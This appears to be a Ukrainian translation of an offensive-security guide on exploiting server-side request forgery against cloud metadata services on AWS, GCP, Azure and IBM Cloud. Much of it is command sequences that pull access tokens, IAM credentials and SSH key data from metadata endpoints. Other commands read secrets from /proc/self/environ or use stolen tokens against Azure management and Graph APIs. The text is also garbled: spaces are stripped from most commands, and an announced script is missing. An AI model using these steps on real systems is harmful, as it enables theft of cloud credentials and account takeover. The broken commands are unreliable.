Точка доступу до метаданих може бути доступна зсередини будь-якої машини EC2 і пропонує цікаву інформацію про неї. Вона доступна за адресою: http://169.254.169.254 (інформація про метадані тут).
Існує 2 версії точки доступу до метаданих. Перша дозволяє доступ до точки через GET запити (тому будь-який SSRF може це експлуатувати). Для версії 2, IMDSv2, потрібно запитати токен, надіславши PUT запит з HTTP заголовком, а потім використовувати цей токен для доступу до метаданих з іншим HTTP заголовком (тому це складніше зловживати з SSRF).
Зверніть увагу, що якщо екземпляр EC2 вимагає IMDSv2, згідно з документацією, відповідь на PUT запит матиме обмеження на кількість пересилок 1, що унеможливлює доступ до метаданих EC2 з контейнера всередині екземпляра EC2.
Більше того, IMDSv2 також блокує запити на отримання токена, які містять заголовок X-Forwarded-For. Це зроблено для запобігання доступу до нього з неправильно налаштованих зворотних проксі.
Ви можете знайти інформацію про метадані в документації. У наступному скрипті отримується деяка цікава інформація з нього:
Зверніть увагу на aws_session_token, це необхідно для роботи профілю.
PACU можна використовувати з виявленими обліковими даними, щоб дізнатися ваші привілеї та спробувати підвищити привілеї.
SSRF в AWS ECS (Container Service) облікові дані
ECS - це логічна група EC2 інстансів, на яких ви можете запускати додаток, не масштабуючи свою власну інфраструктуру управління кластерами, оскільки ECS управляє цим за вас. Якщо вам вдасться скомпрометувати службу, що працює в ECS, метадані кінцевих точок змінюються.
Якщо ви отримуєте доступ до http://169.254.170.2/v2/credentials/<GUID>, ви знайдете облікові дані машини ECS. Але спочатку вам потрібно знайти <GUID>. Щоб знайти <GUID>, вам потрібно прочитати змінну environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI всередині машини.
Ви можете прочитати її, експлуатуючи Path Traversal до file:///proc/self/environ
Зазначена http-адреса повинна надати вам AccessKey, SecretKey та token.
Зверніть увагу, що в деяких випадках ви зможете отримати доступ до метаданих екземпляра EC2 з контейнера (перевірте обмеження TTL IMDSv2, згадані раніше). У цих сценаріях з контейнера ви могли б отримати доступ як до IAM ролі контейнера, так і до IAM ролі EC2.
SSRF для AWS Lambda
У цьому випадку облікові дані зберігаються в змінних середовища. Тому, щоб отримати до них доступ, вам потрібно отримати доступ до чогось на кшталт file:///proc/self/environ.
Назвицікавих змінних середовища:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Більше того, на додаток до облікових даних IAM, функції Lambda також мають дані події, які передаються функції під час її запуску. Ці дані надаються функції через інтерфейс виконання і можуть містити чутливуінформацію (наприклад, всередині stageVariables). На відміну від облікових даних IAM, ці дані доступні через стандартний SSRF за адресою http://localhost:9001/2018-06-01/runtime/invocation/next.
Зверніть увагу, що облікові дані lambda знаходяться всередині змінних середовища. Тому, якщо стек викликів коду lambda виводить змінні середовища, можливо екстрагувати їх, викликавши помилку в додатку.
Щоб використати ексфільтрований токен облікового запису служби, ви можете просто зробити:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
Azure VM може мати прикріплену 1 системну керовану ідентичність та кілька користувацьких керованих ідентичностей. Це в основному означає, що ви можете видавати себе за всі керовані ідентичності, прикріплені до VM.
За замовчуванням, кінцева точка метаданих використовуватиме системну призначену MI (якщо така є).
На жаль, я не зміг знайти жодної кінцевої точки метаданих, яка вказує на всі MI, прикріплені до VM.
Отже, щоб знайти всі прикріплені MI, ви можете зробити:
Отримати прикріплені ідентичності за допомогою az cli (якщо ви вже скомпрометували принципала в Azure tenant)
Отримати прикріплені ідентичності за допомогою стандартного прикріпленого MI в метаданих:
export API_VERSION="2021-12-13"# Get token from default MIexport TOKEN=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \|jq-r'.access_token')# Get needed detailsexport SUBSCRIPTION_ID=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.subscriptionId')export RESOURCE_GROUP=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.resourceGroupName')export VM_NAME=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.name')# Try to get attached MIscurl-s-H"Authorization: Bearer $TOKEN" \"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION"|jq
Отримати всі визначені керовані ідентичності в орендарі та перебором перевірити, чи є яка-небудь з них прикріпленою до ВМ:
azidentitylist
У запитах токена використовуйте будь-який з параметрів object_id, client_id або msi_res_id, щоб вказати керовану ідентичність, яку ви хочете використовувати (документація). Якщо жоден з них не вказано, буде використано стандартну MI.
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount-AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Зверніть увагу, що в IBM за замовчуванням метадані не ввімкнені, тому можливо, що ви не зможете отримати до них доступ, навіть якщо ви знаходитесь всередині VM IBM cloud
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl-s-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token"-XGET"http://169.254.169.254/metadata/v1/instance?version=2022-03-01"|jq# Get SSH keys infocurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/keys?version=2022-03-01"|jq# Get SSH keys fingerprints & user datacurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"|jq# Get placement groupscurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"|jq# Get IAM credentialscurl-s-XPOST-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"|jq
Документація для різних платформ щодо служб метаданих викладена нижче, підкреслюючи методи, через які можна отримати конфігураційну та інформацію про виконання для екземплярів. Кожна платформа пропонує унікальні кінцеві точки для доступу до своїх служб метаданих.